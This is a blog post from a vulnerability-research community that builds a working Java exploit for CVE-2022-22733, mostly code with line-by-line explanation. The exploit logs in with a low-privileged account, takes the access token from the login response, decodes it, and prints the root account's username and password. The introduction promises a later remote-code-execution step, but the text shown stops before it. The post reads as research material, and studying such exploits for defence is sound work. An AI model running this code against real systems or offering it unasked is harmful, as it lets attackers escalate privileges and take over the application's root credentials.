Unique Exploit: CVE-2022–22733 Privilege Escalation & RCE

vsociety
6 min readJun 22, 2023

--

Introduction

In the previous blog from here, We have done analysis for CVE-2022-22733 and understand the root cause of the vulnerability & the issue in details. Now, It's the time to develop an exploit for this vulnerability and take it more further than just escalating our privileges.

The Exploit

As we know from the analysis that to exploit the vulnerability, We need to perform the following steps:

  • Login with the low-privileged account.
  • Obtain the unsecure generated accessToken.
  • Decode the unsecure generated accessToken.
  • Parse the decoded data from the accessToken.
  • Retrieve root account credentials from the parsed data.
  • Login with the root account credentials and obtain a full privileges on the application.

But, This time we will add a one more step that will allow us to achieve code execution on the target server, By performing the JDBC Attack you could read more about it from here.

Login with the low-privileged account

So, First we need to perform a login request with the low-privileged account provided by the user. So, what do we need here ?:

  • take input from user which is username and password
  • The login request and it's form is as the following:

Login request:

POST /api/login HTTP/1.1
Host: 192.168.0.162:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token:
Content-Length: 39
Origin: http://192.168.0.162:8888
DNT: 1
Connection: close
Referer: http://192.168.0.162:8888/

{"username":"guest","password":"guest"}

We can see that the request is a POST request to the /api/login endpoint made to the host of 192.168.0.162 and port 8888. So, we first need from the user a host and port of the server where the application is running. along with the username and password that we would use for authentication.

import java.net.URL;
import java.net.HttpURLConnection;
import java.util.Scanner;

public class Main {
public static void main(String[] args) throws Exception {
Scanner scanner = new Scanner(System.in);
System.out.print("[+] Enter host: ");
String host = scanner.nextLine();
System.out.print("[+] Enter port: ");
String port = scanner.nextLine();
System.out.print("[+] Enter username: ");
String username = scanner.nextLine();
System.out.print("[+] Enter password: ");
String password = scanner.nextLine();
scanner.close();
String url = "http://" + host + ":" + port + "/api/login";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("POST");
con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
con.setRequestProperty("Accept", "application/json, text/plain, */*");
con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
con.setRequestProperty("Accept-Encoding", "gzip, deflate");
con.setRequestProperty("Content-Type", "application/json;charset=utf-8");
con.setRequestProperty("Access-Token", "");
con.setRequestProperty("Origin", "http://" + host + ":" + port);
con.setRequestProperty("DNT", "1");
con.setRequestProperty("Connection", "close");
con.setRequestProperty("Referer", "http://" + host + ":" + port + "/");
String body = "{\"username\":\"" + username + "\",\"password\":\"" + password + "\"}";
con.setDoOutput(true);
con.getOutputStream().write(body.getBytes("UTF-8"));
int responseCode = con.getResponseCode();
System.out.println("[*] Response Code: " + responseCode);
}
}

Here we imported the needed libraries from java.net & java.util and then read the input of host,port,username and password from the user using then closed the scanner object we created:

Scanner scanner = new Scanner(System.in);
System.out.print("[+] Enter host: ");
String host = scanner.nextLine();
System.out.print("[+] Enter port: ");
String port = scanner.nextLine();
System.out.print("[+] Enter username: ");
String username = scanner.nextLine();
System.out.print("[+] Enter password: ");
String password = scanner.nextLine();
scanner.close();

After that we created a URL object to handle the URL for login endpoint inside the obj, Then we created Http connection to our URL object and assign the connection to con which is the Http connection object:

String url = "http://" + host + ":" + port + "/api/login";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();

In the coming lines, We set the request method and the headers needed for the request through the methods under the con object:

con.setRequestMethod("POST");
con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
con.setRequestProperty("Accept", "application/json, text/plain, */*");
con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
con.setRequestProperty("Accept-Encoding", "gzip, deflate");
con.setRequestProperty("Content-Type", "application/json;charset=utf-8");
con.setRequestProperty("Access-Token", "");
con.setRequestProperty("Origin", "http://" + host + ":" + port);
con.setRequestProperty("DNT", "1");
con.setRequestProperty("Connection", "close");
con.setRequestProperty("Referer", "http://" + host + ":" + port + "/");

Finally, We created the request body and pass the user input to it and pass it to the con Http object to be included in the request & after that to print us the Response status code:

con.setDoOutput(true);
con.getOutputStream().write(body.getBytes("UTF-8"));
int responseCode = con.getResponseCode();
System.out.println("[*] Response Code: " + responseCode);

Now, It's time to try our first step code:

As we can see our first step done successfully, Let's move to the next step.

Obtain the accessToken

Now, Let's send the normal login request within burp suite repeater, We can see that the response body is a JSON format:

As we focusing here we focus on the value of accessToken key with in JSON data. But, We can see that the accessToken key is under model array. So, When we parse the JSON data we will get the value of model array then get the accessToken value from it.

BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
JSONObject jsonObject = new JSONObject(response.toString());
JSONObject model = jsonObject.getJSONObject("model");
String accessToken = model.getString("accessToken");
System.out.println("[*] Acess Token: " + accessToken);

After importing the new needed modules java.io.BufferedReader,org.json.JSONObject,java.io.InputStreamReader. Here we created a BufferReader object named in and assign response we got from the application into it, Then we define a String named inputLine to use it in our loop to store the response lines and then assign it to the StringBuffer object named response which gonna contain the JSON data we want. then we closed in. After that we define a JSON object named jsonObject and store the response in it as a string format, Then we created another JSON object named model and store the value of model key from the JSON data in it, Finally we created a string named accessToken and assign the value of accessToken key inside model array into it and print that value out.

And here we can see, Step 2 of our exploit is done.

Decode the accessToken

We can easily identify that the accessToken value is base64, So, Now we need to decode it to a normal string. And this will be done easily using the following 2 lines after importing the needed modules java.nio.charset.StandardCharsets,java.util.Base64:

byte[] decodedBytes = Base64.getDecoder().decode(accessToken.getBytes(StandardCharsets.UTF_8));
String decodedAccessToken = new String(decodedBytes, StandardCharsets.UTF_8);
System.out.println("[*] Decoded Acess Token: " + decodedAccessToken);

Here we created a byte array named decodedBytes that will decode the accessToken value and store inside it, After that define a string named decodedAccessToken that will store the bytes after converting it to a string and then will be printed out.

Here we can see see the decoded token and the 3rd step of the exploit done successfully.

Parse the decoded data from the accessToken & Retrive root account credentials

It's time now for step 4 & 5. As the decoded data from the accessToken is JSON format. Then let's part it and Retrieve the root account credentials.

JSONObject decodedJsonObject = new JSONObject(decodedAccessToken);
String rootUsername = "";
String rootPassword = "";
if (decodedJsonObject.has("rootUsername") && decodedJsonObject.has("rootPassword")) {
rootUsername = decodedJsonObject.getString("rootUsername");
rootPassword = decodedJsonObject.getString("rootPassword");
System.out.println("[*] Root username: " + rootUsername);
System.out.println("[*] Root password: " + rootPassword);
} else {
System.out.println("[-] Access token does not contain rootUsername and rootPassword keys.");
}

We created a JSON object named decodedJsonObject and assign the decoded accessToken value to it, Then define 2 strings with empty value for username and password we will retrive later. After that we made if condition to check if the JSON data has the rootUsername & rootPassword keys to Retrievethe credentials from it, If it's exist then it will assign the values to the string variables we defined early which are rootUsername & rootPassword after that it will print the values out, And if not found, It will print us a massege telling us it's not found.

And here we can see our 4th & 5th steps done successfully.

--

--

vsociety

vsociety is a community centered around vulnerability research